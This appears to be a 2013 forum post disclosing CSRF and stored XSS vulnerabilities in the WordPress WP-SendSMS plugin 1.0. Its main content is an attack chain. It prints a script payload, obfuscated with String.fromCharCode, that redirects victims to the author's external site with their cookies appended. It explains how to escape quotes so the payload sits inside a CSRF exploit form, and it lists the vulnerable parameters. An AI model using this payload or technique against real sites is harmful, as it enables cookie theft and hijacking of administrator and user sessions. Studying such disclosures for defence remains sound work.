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[Mr_NiceGuy]

Wordpress WP-SendSMS plugin 1.0 suffers from CSRF and Stored XSS vulnerabilities.
Interesting thing is Stored XSS + CSRF combination, because of which, attacker can exploit CSRF vulnerability to Trigger Stored XSS, for stealing Cookies!!!!

So what I have done here is , crafted simple CSRF exploit page with Stored XSS payload as below :

Challenges:

1. Stored XSS was there but was not able to execute functions like document.cookie, alert() etc.
2. Storing XSS payload inside our CSRF exploit html page.

To bypass 1st challenge I had to use function "String.fromCharCode(ascii value)" and payload will look like :

"><script>location=String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(97)+String.fromCharCode(99)+String.fromCharCode(107)+String.fromCharCode(112)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(115)+String.fromCharCode(46)+String.fromCharCode(98)+String.fromCharCode(108)+String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(115)+String.fromCharCode(112)+String.fromCharCode(111)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(63)+document.cookie</script>

Above payload will redirect victim to my website by attaching cookies in URL!!...

But when we put this payload inside value="XSS PAYLOAD" it will not work because it will be interpreted as value = ""><script>........ which actually sets your value="" instead of XSS payload to bypass this we can put &quot; instead of " ... and this will be considered as valid XSS payload inside your CSRF exploit form.

For exploit please check :

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Stored XSS Details :

URL:

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Stored XSS Vulnerable Parameters:
1. sender_id
2. maximum_characters
3. captcha_width
4. captcha_height
4. captcha_characters





This is how Stored XSS can be exploited through CSRF which is effective attack, this is just for information purpose.

THX to

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Bearbeitet von Mr_NiceGuy, 13 June 2013 - 09:57 Uhr.